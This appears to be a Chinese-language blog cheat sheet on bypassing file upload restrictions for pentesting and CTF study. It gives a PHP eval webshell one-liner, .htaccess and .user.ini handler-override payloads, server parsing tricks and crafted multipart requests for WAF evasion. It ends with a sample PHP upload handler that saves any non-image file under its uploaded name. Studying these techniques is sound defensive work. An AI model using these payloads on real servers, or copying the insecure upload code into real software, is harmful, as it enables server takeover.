文件上传漏洞

1.绕过

前端检测

改前端代码(onsubmit是提交表单时执行的事件)

传合法文件抓包再修改

MIME检测

改Content-Type(image/jpeg、png、gif)

黑名单检测

大小写、双写、Win自动去除shell.php. .、Win的NTFS特性shell.php::$data

move_upload_file()储存文件时会忽略末尾/.所以加/.

其他后缀:php2-5、phtml、pwml,asp、aspx、ascx、ashx、asa、cer、cdx、jsp、jspx、jspf、html、htm、sthml、shtm

白名单检测

00截断(PHP<5.3,shell.php[00].jpg,路径可控、没有转义)

图马(copy 1.gif /b + Shell.php /a 2.gif)、图马二次渲染

图片头,getimagesize()会先检测图片头再获取大小,开头加一行GIF89A

条件竞争

文件被删除前访问<?php file_put_contents('shell.php', '<?php @eval($_POST[1]);?>');?>

数组绕过,例:

传入name[0]='shell.php'、name[2]='jpg'

后端只检测了最后一个元素

组合时shell.php.与name[长度2-1=1]为空组合

文件内容检测

WebShell免杀

2.解析漏洞

Apache

从右向左判断格式,不可识别再向左,传shell.php.xxx

httpd.conf配置AddType application/x-httpd-php .x,.x解析为PHP,尝试.phtml、.php2、.php3、.php4、.php5

httpd.conf配置AddHandler php5-script .x,文件名包含.x解析为PHP,传shell.x.jpg

换行解析漏洞2.4.0-2.4.29,传shell.php[0a],访问shell.php%0a

传.htaccess(目录下的配置文件)

写入AddType application/x-httpd-php .x

写入AddHandler php5-script .x

文件名包含shell解析为php(必须换行),写入:

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

传.user.ini(目录下的配置文件)

目录下的PHP都包含这个图片

写入auto_prepend_file=shell.jpg或auto_append_file=shell.jpg

Nginx

畸形解析漏洞,配置cgi.fix_pathinfo=1,访问shell.jpg/.php

一些版本,访问shell.jpg%00.php

文件名逻辑漏洞,一些版本,传shell.jpg [00].php,访问shell.jpg \0.php

IIS

开启WebDAV支持多种请求,尝试put写一句话

5.x、6.x:

;会截断,传shell.asp;.jpg

目录解析漏洞,*.asp *.asa *.cer文件夹内的所有文件均解析为ASP

还有三种后端格式.asa .cer .cdx

7.0、7.5
畸形解析漏洞,配置cgi.fix_pathinfo=1,访问shell.jpg/.php

3.WAF绕过

服务器特性

参数污染

filename="1.jpg"; filename="shell.asp"

------WebKitFormBoundaryDHRABxol0PGpDIod
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

123
------WebKitFormBoundaryDHRABxol0PGpDIod
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

shell

WAF特性

逻辑漏洞

filename="shell.p换行hp"

filename==="shell.php"

filename="shell;.php"

filename="shell'.php"

filename='shell.php'

filename='shell.php

filename=shell.php

content-Disposition: Form-data; name="file"; filename="shell.php"
content-Type: image/jpeg
Content-Disposition:form-data; name="file";   filename="shell.php"
Content-Type:image/jpeg

其他漏洞

溢出:shell......asp

4.PHP 文件上传实现

<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file"/>
    <input type="submit"/>
</form>
<?php
header('Content-Type:text/html;charset=utf-8');

echo '文件名:'.$_FILES['file']['name'];

$array = explode('.', $_FILES['file']['name']);
echo '<br>后缀:'.end($array);

echo '<br>MIME:'.$_FILES['file']['type'];
echo '<br>文件大小:'.$_FILES['file']['size'].' Byte';
echo '<br>临时文件路径:'.$_FILES['file']['tmp_name'];

if (getimagesize($_FILES['file']['tmp_name'])) { // 检查文件头
    if (end($array) == 'jpg') {
        $new_img = imagecreatefromjpeg($_FILES['file']['tmp_name']); // 二次渲染
        imagejpeg($new_img, $_FILES['file']['name']); // 保存图片
    }
}
else {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); // 保存文件
}

5.CTF

死亡绕过,CTFshow-WEB入门-文件包含web87 - LeiyNeKo - 博客园 (cnblogs.com)

posted @ 2023-04-15 23:50  Hacker&Cat  阅读(106)  评论(0编辑  收藏  举报